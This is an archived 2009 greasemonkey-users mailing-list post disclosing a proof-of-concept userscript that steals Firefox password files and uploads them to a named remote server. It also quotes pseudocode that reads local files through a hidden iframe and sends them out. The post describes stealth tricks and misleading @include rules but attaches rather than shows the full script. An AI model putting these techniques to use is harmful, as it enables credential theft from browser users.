I know that it sounds bad, but I was aware of this fact since at least
a year ago. It is actually even worse, if you think a little about it.

I was waiting until some changes suggested by Aaron were implemented
that would affect the way script are tell were to run on.
Unfortunately these efforts went to no end.

Since this is already public, I can provide a proof of concept.  The
initial inspiration came from a script of a japanese hacker that used
a trick to read your profile folder from a Greasemonkey script.  I
used the idea to craft a script that would take your FF password files
and send it to a remote server.   My intention was to make this as
unnoticed as possible, but there are a number of technical problems
that (fortunately) prevent the script from totally hiding the script
malicious actions.

Attached you' find the script. It is Windows only because it relies in
the windows file path structure. It can be easily adapted to other OS.
 My first version was for text files only.  This version is capable of
stealing binary files as well.

In the script I'm using some other techniques such as inducing a naive
user to think that the script runs only on a given domain by using
something like @include *.wikipedia.og, while in reality the script
can be triggered by loading file://something/else#foo.wikipedia.org as
well.

Note: the script uses a server side script of mine at
http://evil-site.appjet.net/  for receiving the stolen files.
Unfortunately appjet discontinued this service starting on July 1st
2009.  The script it still illustrative.

Enjoy.

On Thu, Aug 6, 2009 at 1:28 AM, BD<[email protected]> wrote:
> Yes, people can steal info using a GmScript that you can install. I was
> talking about in your own GmScript, where you have the control.
>
> Anthony Lieuallen wrote:
>
> On 8/5/2009 2:55 AM, BD wrote:
>
>
> The only person who can view file:/// content is you...
>
>
> Imagine I am a malicious script author.
>
> // ==UserScript==
> // @name Private Content Stealer
> // @include *
> // ==/UserScript==
>
> if ('file:'==document.location.protocol) {
>    // Transmit private data to my server!
>    GM_xmlhttpRequest(...);
> } else {
>    // Make an iframe to a private file, which I will run on.
>    createHiddenIframe('file:///a/file/with/private/contents/here.txt');
> }
>
> Private files stolen.  This is why there is a security dialog, which
> presents the @include rules to you, before you install.

--~--~---------~--~----~------------~-------~--~----~
You received this message because you are subscribed to the Google Groups 
"greasemonkey-users" group.
To post to this group, send email to [email protected]
To unsubscribe from this group, send email to 
[email protected]
For more options, visit this group at 
http://groups.google.com/group/greasemonkey-users?hl=en
-~----------~----~----~----~------~----~------~--~---

Attachment: steal_file_from_profile.user.js
Description: JavaScript source

Reply via email to